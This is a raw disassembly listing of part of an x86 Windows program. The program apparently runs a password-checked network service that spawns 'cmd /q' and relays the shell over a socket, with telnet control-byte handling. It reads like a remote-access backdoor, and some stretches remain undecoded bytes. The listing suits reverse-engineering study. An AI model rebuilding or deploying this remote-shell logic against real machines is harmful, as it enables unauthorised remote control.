		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351DC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 227F124h, 69C44D8Bh,	234C9h,	89C63B00h, 43E93481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 227003Dh,	64E8EDEBh
		dd 900227FAh, 51A06850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]

loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi

loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA64
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9E4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA68
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------

loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB99C

loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435264
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E92C[ebx]
		mov	dword_43E924[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E930[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_4110DF

loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_41108C
; ---------------------------------------------------------------------------

loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h

loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------

loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_435224
		call	sub_415DAC
		pop	ecx
		pop	ecx

loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E92C[eax]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx

loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E930[esi]
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E92C[esi]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A

loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E930[esi]
		call	dword_4CBA7C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
		dd 5E5F022Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E92C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB938
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB978
		push	eax
		push	offset unk_43533C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h

loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------

loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890

loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB98
		push	dword ptr [esi]
		call	dword_4CBA34
		cmp	dword_4CE73C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA34
		push	dword ptr [esi]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435300
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_4352D4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 26F0000h
		nop

loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352A8
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]

loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------

loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435368
		call	sub_415DAC
		pop	ecx

loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------

loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax

loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435394
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB954h, 0C63BF633h, 68501D74h
		dd 435504h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022DEBh, 4116CC68h, 8E89000h, 850236F6h
		dd 0E82975C0h, 227F4AFh, 0C0685090h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB93Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22DEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0E415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA6415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E92C98h, 0E0458D00h
		dd 15FF5350h, 4CBA10h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CBA0Ch, 850FC085h, 103h, 43548468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA7815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9C415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA7015FFh, 8D50004Ch, 0FFFBEC85h, 544068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E924h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 227E9E4h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E93481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0FEE8326Ah, 900226F8h, 24E8EDEBh
		dd 900227F3h, 54046850h, 59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB978h, 0EC858D50h, 68FFFFFBh, 4353CCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA7C15FFh, 0FF53004Ch, 4CBA7C15h, 3C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022DE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E92C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_435564
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------

loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_435564
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0933h

loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------

loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2780DEEh
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_435530
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------

loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------

loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------

loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26A0933h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2720244h

loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA7C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax

loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_435614
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------

loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_4355D4

loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------

loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_4355AC
		call	sub_415D38

loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi

loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi

loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi

loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi

loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx

loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------

loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720349h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2670345h
		nop
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E928[eax], ecx
		call	near ptr 2670000h
		nop
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------

loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_435654
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D

loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33

loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------

loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435694
		call	sub_415DAC
		pop	ecx
		pop	ecx

loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9FC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------

loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 2790000h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------

loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
